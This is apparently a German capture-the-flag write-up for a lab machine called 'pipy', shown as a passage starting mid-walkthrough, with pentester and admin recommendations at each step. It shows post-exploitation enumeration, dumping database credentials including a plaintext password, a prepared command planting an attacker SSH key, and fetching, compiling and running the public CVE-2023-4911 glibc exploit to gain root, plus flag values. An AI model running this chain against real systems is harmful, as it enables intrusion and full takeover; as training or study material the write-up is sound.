Empfehlung (Pentester): SUID scheint kein einfacher Vektor zu sein. Konzentrieren Sie sich auf die gefundenen Datenbank-Zugangsdaten.
Empfehlung (Admin): Minimieren Sie SUID-Berechtigungen.

www-data@pipy:/var/www/html/config$ find / -type f -perm -4000 -ls 2>/dev/null
   275879     20 -rwsr-xr-x   1 root     root        18736 Feb 26  2022 /usr/libexec/polkit-agent-helper-1
   272387    136 -rwsr-xr-x   1 root     root       138408 May 29 12:08 /usr/lib/snapd/snap-confine
[...]
     7673    386 -rwsr-xr--   1 root     dip               394984 Jul 23  2020 /snap/core/16202/usr/sbin/pppd
                     

Analyse: Überprüfung der eigenen Identität (`id`), der Lesbarkeit von `/etc/passwd` und des Inhalts von `/etc/crontab`.

Bewertung: Bestätigt, dass der Benutzer `www-data` (UID 33) ist. `/etc/passwd` ist lesbar. `/etc/crontab` enthält nur Standard-Systemeinträge.

Empfehlung (Pentester): Kein direkter Vektor hier.
Empfehlung (Admin): Standardkonfigurationen.

www-data@pipy:/var/www/html/config$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@pipy:/var/www/html/config$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1889 Oct  4 14:33 /etc/passwd
www-data@pipy:/var/www/html/config$ cat /etc/crontab
# /etc/crontab: system-wide crontab
[...]
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
                      

Analyse: Überprüfung der Systemversion (`uname -a`) und der Capabilities (`getcap -r /`).

Bewertung: Das System läuft auf Ubuntu 22.04 mit Kernel 5.15.0-84. `getcap` findet nur Standard-Capabilities (hauptsächlich für `ping` und `mtr-packet`). Keine offensichtlichen Capabilities für Privilegieneskalation.

Empfehlung (Pentester): Die Kernel-Version ist relativ aktuell, was Kernel-Exploits unwahrscheinlicher macht (aber nicht ausschließt). Capabilities scheinen kein Vektor zu sein. Fokus auf die Datenbank.
Empfehlung (Admin): Halten Sie Kernel und System aktuell. Minimieren Sie Capabilities.

www-data@pipy:/var/www/html/config$ uname -a
Linux pipy 5.15.0-84-generic #93-Ubuntu SMP Tue Sep 5 17:16:10 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
www-data@pipy:/var/www/html/config$ getcap -r / 2>/dev/null
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/ping cap_net_raw=ep
/snap/core20/1974/usr/bin/ping cap_net_raw=ep
/snap/core20/2015/usr/bin/ping cap_net_raw=ep
                      

Analyse: Mit den in `connect.php` gefundenen Zugangsdaten (`root`:`dbpassword`) wird eine Verbindung zur lokalen MySQL/MariaDB-Datenbank hergestellt. Anschließend werden Datenbanken und Tabellen aufgelistet, die `mysql`-Datenbank ausgewählt und die `user`-Tabelle abgefragt. Danach wird die `spip`-Datenbank ausgewählt und die `spip_auteurs`-Tabelle abgefragt.

Bewertung: Der Login als MySQL-Root ist erfolgreich. Die `mysql.user`-Tabelle zeigt verschiedene Benutzer, darunter `root`, `spipuser` und `dbuser`, alle mit demselben Passwort-Hash (`*6207...`). Die `spip.spip_auteurs`-Tabelle ist der entscheidende Fund: Sie enthält den Benutzer `angela` mit dem Klartextpasswort `4ng3l4` und den Benutzer `admin` mit einem bcrypt-Hash.

Empfehlung (Pentester): Das Klartextpasswort für `angela` ist der nächste Schritt. Versuchen Sie, sich per SSH als `angela` anzumelden oder mit `su angela` zu wechseln. Der Hash für `admin` könnte geknackt werden, ist aber weniger relevant, da `angela` gefunden wurde.
Empfehlung (Admin): Speichern Sie niemals Passwörter im Klartext in Datenbanken! Verwenden Sie starke Hashing-Verfahren. Entfernen Sie unnötige Datenbankbenutzer und beschränken Sie Berechtigungen. Verwenden Sie niemals denselben Passwort-Hash für mehrere Benutzer.

www-data@pipy:/var/www/html/config$ mysql -u root -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
[...]
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| spip               |
| sys                |
+--------------------+
5 rows in set (0.001 sec)

MariaDB [(none)]> use mysql;
[...]
Database changed
MariaDB [mysql]> show tables;
[...]
| user                      |
[...]
31 rows in set (0.000 sec)

MariaDB [mysql]> select * from user;
+-----------+-------------+-------------------------------------------+----
| Host      | User        | Password                                  | ...
+-----------+-------------+-------------------------------------------+----
| localhost | mariadb.sys |                                           | ...
| localhost | root        | *6207EE3F049D8F87CC0B4BBB8814917B31FB8E4F | ...
| localhost | mysql       | invalid                                   | ...
| localhost | user        | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 | ...
| localhost | dbuser      | *6207EE3F049D8F87CC0B4BBB8814917B31FB8E4F | ...
| localhost | spipuser    | *6207EE3F049D8F87CC0B4BBB8814917B31FB8E4F | ...
+-----------+-------------+-------------------------------------------+----
6 rows in set (0.001 sec)

MariaDB [mysql]> use spip;
[...]
Database changed
MariaDB [spip]> show tables;
+-------------------------+
| Tables_in_spip          |
+-------------------------+
| spip_articles           |
| spip_auteurs            |
[...]
| spip_visites_articles   |
+-------------------------+
28 rows in set (0.000 sec)

MariaDB [spip]> select * from spip_auteurs;
+-----------+--------+...+--------+--------------------------------------------------------------+...+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id_auteur | nom    |...| login  | pass                                                         |...| backup_cles                                                                                                                                                                                                                                                                  |
+-----------+--------+...+--------+--------------------------------------------------------------+...+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
|         1 | Angela |...| angela | 4ng3l4                                                       |...| 3HnqCYcjg+hKjCDrTwhvDGXqQ34zRxFmdchyPL7wVRW3zsPwE6+4q0GlAPo4b4GRmzvR6NNFdEjARDtoeIAxH88cQZt2H3ENUggrz99vFfCmWHIdJgSDSI3A3nmnfEg43BDP4q9co/AP0XIlGzGteMiSJwc0fCXCxzCW9NwvzJYM/u/8cWGGdRALd7fzFYhY6DmokVnIlwauc8/lwRyNbam1H6+g5ju57cI8Dzll+pCMUPhhti9RvC3WNzC2IUcPnHEM= |
|         2 | admin  |...| admin  | $2y$10$.GR/i2bwnVInUmzdzSi10u66AKUUWGGDBNnA7IuIeZBZVtFMqTsZ2 |...|                                                                                                                                                                                                                                                                              |
+-----------+--------+...+--------+--------------------------------------------------------------+...+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
2 rows in set (0.000 sec)

MariaDB [spip]>
                     

Analyse: Der Befehl `su angela` wird ausgeführt und das gefundene Passwort `4ng3l4` eingegeben. Anschließend wird die Identität geprüft (`id`) und versucht, `sudo -l` auszuführen.

Bewertung: Der Wechsel zum Benutzer `angela` ist erfolgreich! `sudo -l` schlägt fehl, da `angela` keine sudo-Rechte hat.

Empfehlung (Pentester): Sie agieren nun als Benutzer `angela`. Beginnen Sie mit der Enumeration aus dieser Perspektive: Home-Verzeichnis untersuchen, `user.txt` lesen, nach weiteren Eskalationsmöglichkeiten suchen.
Empfehlung (Admin): Ändern Sie das Passwort für `angela`. Entfernen Sie Klartextpasswörter aus der Datenbank.

www-data@pipy:/var/www/html/config$ su angela
Password: 
angela@pipy:/var/www/html/config$ id
uid=1000(angela) gid=1000(angela) groups=1000(angela)
angela@pipy:/var/www/html/config$ sudo -l
[sudo] password for angela:
Sorry, user angela may not run sudo on pipy.
                     

Analyse: Als `angela` wird ins Home-Verzeichnis gewechselt, der Inhalt aufgelistet und `user.txt` gelesen.

Bewertung: Das Home-Verzeichnis enthält Standarddateien und ein `.ssh`-Verzeichnis. Die User-Flag wird erfolgreich ausgelesen: `dab37650d43787424362d5805140538d`.

Empfehlung (Pentester): User-Flag gesichert. Untersuchen Sie das `.ssh`-Verzeichnis. Suchen Sie nach weiteren Hinweisen oder Eskalationsvektoren.
Empfehlung (Admin): Sichern Sie die User-Flag.

angela@pipy:/var/www/html/config$ cd ~
angela@pipy:~$ ls -la
total 40
drwxr-x--- 6 angela angela 4096 Oct 17 17:47 .
drwxr-xr-x 3 root   root   4096 Oct  4 14:33 ..
lrwxrwxrwx 1 angela angela    9 Oct 17 17:47 .bash_history -> /dev/null
-rw-r--r-- 1 angela angela  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 angela angela 3771 Jan  6  2022 .bashrc
drwx------ 3 angela angela 4096 Oct  5 13:42 .cache
drwxrwxr-x 3 angela angela 4096 Oct  3 16:17 .local
-rw-r--r-- 1 angela angela  807 Jan  6  2022 .profile
drwx------ 3 angela angela 4096 Oct  3 16:21 snap
drwx------ 2 angela angela 4096 Oct  2 17:58 .ssh
-rw-r--r-- 1 angela angela    0 Oct  2 17:59 .sudo_as_admin_successful
-rw------- 1 angela angela   33 Oct  5 14:15 user.txt
                     
angela@pipy:~$ cat user.txt
dab37650d43787424362d5805140538d

Analyse: Untersuchung des `.ssh`-Verzeichnisses von `angela`.

Bewertung: Das Verzeichnis enthält nur eine leere `authorized_keys`-Datei. Es sind keine privaten Schlüssel vorhanden, und es können keine neuen öffentlichen Schlüssel für einen passwortlosen Login hinzugefügt werden (obwohl der nächste Block dies vorbereitet).

Empfehlung (Pentester): Das `.ssh`-Verzeichnis bietet keinen direkten Vorteil.
Empfehlung (Admin): Standardkonfiguration.

angela@pipy:~$ cd .ssh
angela@pipy:~/.ssh$ ll
total 8
drwx------ 2 angela angela 4096 Oct  2 17:58 ./
drwxr-x--- 6 angela angela 4096 Oct 17 17:47 ../
-rw------- 1 angela angela    0 Oct  2 17:58 authorized_keys
                     
angela@pipy:~/.ssh$ cat authorized_keys
 
                      
angela@pipy:~/.ssh$

Analyse: Versuche, mit `pkexec` Befehle als Root auszuführen.

Bewertung: Schlagen fehl, da `angela` nicht in der sudoers-Datei ist und das Root-Passwort nicht bekannt ist.

Empfehlung (Pentester): Polkit/pkexec ist hier kein Vektor.
Empfehlung (Admin): Korrekte Konfiguration.

angela@pipy:/tmp$ sudo -u root pkexec /bin/sh -p
[sudo] password for angela: 4ng3l4
angela is not in the sudoers file.  This incident will be reported.
                      
angela@pipy:/tmp$ pkexec /bin/sh -p
==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===
Authentication is needed to run `/bin/sh' as the super user
Authenticating as: root
Password:
polkit-agent-helper-1: pam_authenticate failed: Authentication failure
==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized

This incident has been reported.
                       
angela@pipy:/tmp$

Analyse: Vorbereitung auf dem Angreifer-System: Der öffentliche SSH-Schlüssel wird angezeigt und ein `echo`-Befehl vorbereitet, um diesen Schlüssel in die (derzeit leere) `authorized_keys`-Datei auf dem Zielserver zu schreiben.

Bewertung: Dieser Schritt bereitet einen passwortlosen SSH-Zugang als `angela` vor. Er muss als Benutzer `angela` auf dem Ziel ausgeführt werden.

Empfehlung (Pentester): Führen Sie den `echo`-Befehl in der `angela`-Shell aus, um den Schlüssel hinzuzufügen. Testen Sie anschließend den SSH-Login ohne Passwort.
Empfehlung (Admin): Überwachen Sie Änderungen an `authorized_keys`-Dateien.

┌──(root㉿Cybermaschine)-[~] └─# cat .ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDYUeXgm3BEJmxiN2ysvJBr8puBfdwjwetxySgddq3l9j8esziRWfwNe1/mXL4eKxzHoY9akl7/SLqLzxdUM4z2zIkB9bnKawoLuzPh2yeMgsVmYiWnHGWEcBaYm9FNIuuvBAGmMLjfTV+W+oz20IZoWf0AusM8nNnLQxK3MwMiXZeD3yxFSk2k2Sv+W5QqhoE7FmhwmD1Lddx0n/LYqbk1b+pG4MIkZ8TT06wJAMSYBTDmcprTNLhD8+ZSRBzMscKSKaRYIt5ua0Q05wIgWwcSmNs45AfV9KB3irpcN8EU26fe0y6BzVdqzHdCgkPd5SxSr4uLluxZeYgtXdfgTrTMuz85efs2g4fg8PS5r2AWEhnDQWjHzSuG11hUEXoTRuyI4QiEBGzemtLX6sG/M36kcctuip7g/MZ5sqo4CPR4fJMUURd700yd1whxuwbGUwr41Tw0YbDZ4WtPWqXI8TbQ3VXKc+EXSX0T5echu+kWsW8JFXmX+CQN3x8= root@Cybermaschine
# Vorbereiteter Befehl (auf dem Ziel als 'angela' auszuführen):
# echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDYUeXgm3BEJmxiN2ysvJBr8puBfdwjwetxySgddq3l9j8esziRWfwNe1/mXL4eKxzHoY9akl7/SLqLzxdUM4z2zIkB9bnKawoLuzPh2yeMgsVmYiWnHGWEcBaYm9FNIuuvBAGmMLjfTV+W+oz20IZoWf0AusM8nNnLQxK3MwMiXZeD3yxFSk2k2Sv+W5QqhoE7FmhwmD1Lddx0n/LYqbk1b+pG4MIkZ8TT06wJAMSYBTDmcprTNLhD8+ZSRBzMscKSKaRYIt5ua0Q05wIgWwcSmNs45AfV9KB3irpcN8EU26fe0y6BzVdqzHdCgkPd5SxSr4uLluxZeYgtXdfgTrTMuz85efs2g4fg8PS5r2AWEhnDQWjHzSuG11hUEXoTRuyI4QiEBGzemtLX6sG/M36kcctuip7g/MZ5sqo4CPR4fJMUURd700yd1whxuwbGUwr41Tw0YbDZ4WtPWqXI8TbQ3VXKc+EXSX0T5echu+kWsW8JFXmX+CQN3x8= root@Cybermaschine' > ~/.ssh/authorized_keys
                      

Analyse: Systeminformationen werden gesammelt: Distribution (`lsb-release`) und GLIBC-Version (`ldd --version`).

Bewertung: Bestätigt Ubuntu 22.04.3 LTS und GLIBC 2.35. Diese Information ist entscheidend für die Auswahl passender Exploits, insbesondere für Kernel- oder Bibliotheks-Schwachstellen.

Empfehlung (Pentester): Suchen Sie nach Exploits, die für Ubuntu 22.04 und GLIBC 2.35 relevant sind. CVE-2023-4911 (Looney Tunables) betrifft GLIBC-Versionen vor 2.38 und ist ein heißer Kandidat.
Empfehlung (Admin): Halten Sie das Betriebssystem und Bibliotheken wie GLIBC aktuell, um bekannte Schwachstellen zu schließen.

angela@pipy:/var/www/html$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=22.04
DISTRIB_CODENAME=jammy
DISTRIB_DESCRIPTION="Ubuntu 22.04.3 LTS"
                     
angela@pipy:/dev/shm$ ldd --version
ldd (Ubuntu GLIBC 2.35-0ubuntu3.1) 2.35
Copyright (C) 2022 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
                      

Analyse: Versuch, ein Verzeichnis im Home-Verzeichnis zu erstellen, schlägt wegen Platzmangel fehl. Wechsel nach `/dev/shm` (RAM-Disk) und erfolgreiche Erstellung des `hacker`-Verzeichnisses. Klonen des Git-Repositories für den Looney Tunables Exploit (CVE-2023-4911).

Bewertung: Das Problem des vollen Home-Verzeichnisses wird umgangen, indem `/dev/shm` verwendet wird. Der Exploit-Code für die vielversprechende GLIBC-Schwachstelle wird erfolgreich heruntergeladen.

Empfehlung (Pentester): Kompilieren und führen Sie den heruntergeladenen Exploit aus.
Empfehlung (Admin): Überwachen Sie den Speicherplatz. Untersuchen Sie, warum das Home-Verzeichnis voll ist. Patchen Sie GLIBC gegen CVE-2023-4911.

angela@pipy:/dev/shm$ cd ~
angela@pipy:~$ mkdir hacker
mkdir: cannot create directory ‘hacker’: No space left on device
angela@pipy:~$ cd -
/dev/shm
angela@pipy:/dev/shm$ mkdir hacker
angela@pipy:/dev/shm$ cd hacker/
angela@pipy:/dev/shm/hacker$ git clone https://github.com/leesh3288/CVE-2023-4911.git
Cloning into 'CVE-2023-4911'...
remote: Enumerating objects: 9, done.
remote: Counting objects: 100% (9/9), done.
remote: Compressing objects: 100% (7/7), done.
remote: Total 9 (delta 2), reused 9 (delta 2), pack-reused 0
Receiving objects: 100% (9/9), done.
Resolving deltas: 100% (2/2), done.
                     
angela@pipy:/dev/shm/hacker$ ll
total 0
drwxrwxr-x 3 angela angela  60 Oct 26 22:21 ./
drwxrwxrwt 3 root   root    80 Oct 26 22:21 ../
drwxrwxr-x 3 angela angela 140 Oct 26 22:21 CVE-2023-4911/
                     

Analyse: Die Überschrift "Privilege Escalation" leitet den finalen Schritt ein.

Bewertung: Vorbereitung auf die Ausführung des Exploits.

Empfehlung (Pentester): Exploit kompilieren und ausführen.
Empfehlung (Admin): Keine Aktion.

                                                          Privilege Escalation
                     

Analyse: Wechsel in das Exploit-Verzeichnis. Kompilieren des Exploits (`exp.c`) mit `gcc` zur ausführbaren Datei `hack`. Auflisten des Verzeichnisses. Versuch, den Exploit über `make` auszuführen (wird abgebrochen). Schließlich direkter Start des kompilierten Exploits `./hack`.

Bewertung: Das Kompilieren ist erfolgreich. Der Exploit (`./hack`) wird gestartet und läuft durch mehrere Versuche (`try 100`, `try 200`, ...). Schließlich gelingt der Exploit und liefert eine Root-Shell (`#`). Der `id`-Befehl bestätigt `uid=0(root)`.

Empfehlung (Pentester): Fantastisch! Der Looney Tunables Exploit war erfolgreich. Root-Zugriff wurde erlangt. Suchen und lesen Sie die Root-Flag.
Empfehlung (Admin): Patchen Sie GLIBC dringend gegen CVE-2023-4911. Überwachen Sie die Ausführung von unbekannten kompilierten Programmen.

angela@pipy:/dev/shm/hacker$ cd CVE-2023-4911/
angela@pipy:/dev/shm/hacker/CVE-2023-4911$ gcc exp.c -o hack
angela@pipy:~/hacker/CVE-2023-4911$ ls -la
total 2240
drwxrwxr-x 4 angela angela    4096 Oct 26 22:40  .
drwxrwxr-x 3 angela angela    4096 Oct 26 22:39  ..
-rwxrwxr-x 1 angela angela   16600 Oct 26 22:40  exp # Original exploit file name?
-rw-rw-r-- 1 angela angela    3815 Oct 26 22:39  exp.c
-rw-rw-r-- 1 angela angela     390 Oct 26 22:39  gen_libc.py
drwxrwxr-x 8 angela angela    4096 Oct 26 22:39  .git
-rwxrwxr-x 1 angela angela   16600 Oct 26 22:40  hack # Compiled exploit
-rw-rw-r-- 1 angela angela 2216304 Oct 26 22:40  libc.so.6 # Likely generated by gen_libc.py
-rw-rw-r-- 1 angela angela     179 Oct 26 22:39  Makefile
-rw-rw-r-- 1 angela angela     717 Oct 26 22:39  README.md
                     
angela@pipy:~/hacker/CVE-2023-4911$ make
./exp
try 100
try 200
try 300
^Cmake: *** wait: No child processes.  Stop.
make: *** Waiting for unfinished jobs....
make: *** wait: No child processes.  Stop.
                      
angela@pipy:~/hacker/CVE-2023-4911$ ./hack
try 100
try 200
try 300
try 400
try 500
try 600
try 700
# id
uid=0(root) gid=0(root) groups=0(root),1000(angela)
#
                       
#

Analyse: In der Root-Shell wird ins `/root`-Verzeichnis gewechselt, der Inhalt aufgelistet und `root.txt` ausgelesen.

Bewertung: Die Root-Flag wird erfolgreich gefunden: `ab55ed08716cd894e8097a87dafed016`.

Empfehlung (Pentester): Alle Flags gesammelt, Test erfolgreich abgeschlossen.
Empfehlung (Admin): Root-Flag sichern, GLIBC patchen.

# cd /root
# ls
root.txt  snap
# cat root.txt
ab55ed08716cd894e8097a87dafed016
#

Analyse: Kommentar, der den erfolgreichen Abschluss der Privilegieneskalation markiert.

Bewertung: Bestätigt die Erlangung von Root-Rechten.

Empfehlung (Pentester): Klare Dokumentation des Weges (RCE -> DB -> su -> Exploit).
Empfehlung (Admin): Fokus auf die Behebung der ursprünglichen RCE in SPIP und der GLIBC-Schwachstelle.

  Privilege Escalation erfolgreich
                     

Proof of Concept: Ausnutzung der Looney Tunables Schwachstelle (CVE-2023-4911)

Kurzbeschreibung: Das System verwendet eine anfällige Version der GNU C Library (GLIBC < 2.38), die von der "Looney Tunables"-Schwachstelle (CVE-2023-4911) betroffen ist. Diese Schwachstelle im dynamischen Lader (`ld.so`) ermöglicht durch einen Pufferüberlauf bei der Verarbeitung der `GLIBC_TUNABLES`-Umgebungsvariable die lokale Eskalation von Privilegien zu Root.

Voraussetzungen:

Schritt-für-Schritt-Anleitung:

Analyse Schritt 1: Überprüfung der GLIBC-Version auf dem Zielsystem.

Bewertung Schritt 1: Der Befehl `ldd --version` zeigt Version 2.35 an, die bekanntermaßen für CVE-2023-4911 anfällig ist.

Empfehlung (Pentester): Bestätigt die Anwendbarkeit des Exploits.
Empfehlung (Admin): Update von GLIBC ist dringend erforderlich.

angela@pipy:~$ ldd --version
ldd (Ubuntu GLIBC 2.35-0ubuntu3.1) 2.35 [...]

Analyse Schritt 2: Herunterladen des Exploit-Codes von einer öffentlichen Quelle (z.B. GitHub) in ein beschreibbares Verzeichnis (`/dev/shm`).

Bewertung Schritt 2: Der Exploit-Code ist nun auf dem Zielsystem verfügbar.

Empfehlung (Pentester): Stellen Sie sicher, dass alle benötigten Dateien des Exploits heruntergeladen wurden.
Empfehlung (Admin): Überwachen Sie Downloads von bekannten Exploit-Repositories.

angela@pipy:/dev/shm$ mkdir hacker && cd hacker
angela@pipy:/dev/shm/hacker$ git clone https://github.com/leesh3288/CVE-2023-4911.git
Cloning into 'CVE-2023-4911'...

Analyse Schritt 3: Kompilieren des Exploit-Codes mit `gcc`.

Bewertung Schritt 3: Eine ausführbare Datei (hier `hack`) wird erstellt.

Empfehlung (Pentester): Stellen Sie sicher, dass der Kompilierungsvorgang fehlerfrei abgeschlossen wird.
Empfehlung (Admin): Beschränken Sie die Verfügbarkeit von Compilern auf Produktivsystemen, wenn möglich.

angela@pipy:/dev/shm/hacker/CVE-2023-4911$ gcc exp.c -o hack

Analyse Schritt 4: Ausführen der kompilierten Exploit-Datei.

Bewertung Schritt 4: Der Exploit nutzt die GLIBC-Schwachstelle aus und startet eine Shell mit Root-Rechten, was durch `id` bestätigt wird.

Empfehlung (Pentester): Der Exploit war erfolgreich. Root-Zugriff erlangt.
Empfehlung (Admin): Patchen Sie GLIBC.

angela@pipy:~/hacker/CVE-2023-4911$ ./hack
try 100
try 200
try 300
try 400
try 500
try 600
try 700
# id
uid=0(root) gid=0(root) groups=0(root),1000(angela)
#
                     
#

Erwartetes Ergebnis: Erfolgreiche Erlangung einer interaktiven Shell mit root-Berechtigungen.

Beweismittel: Die empfangene Shell mit Root-Kennung (`#` Prompt, `uid=0(root)`) nach Ausführung des kompilierten Exploits.

Risikobewertung: Kritisch. Diese Schwachstelle erlaubt jedem lokalen Benutzer die vollständige Übernahme des Systems.

Empfehlungen: Aktualisieren Sie die GNU C Library (GLIBC) dringend auf eine gepatchte Version (>= 2.38) oder wenden Sie die von Ihrem Distributions-Anbieter bereitgestellten Patches an.

Flags

cat /home/angela/user.txt
dab37650d43787424362d5805140538d
cat /root/root.txt
ab55ed08716cd894e8097a87dafed016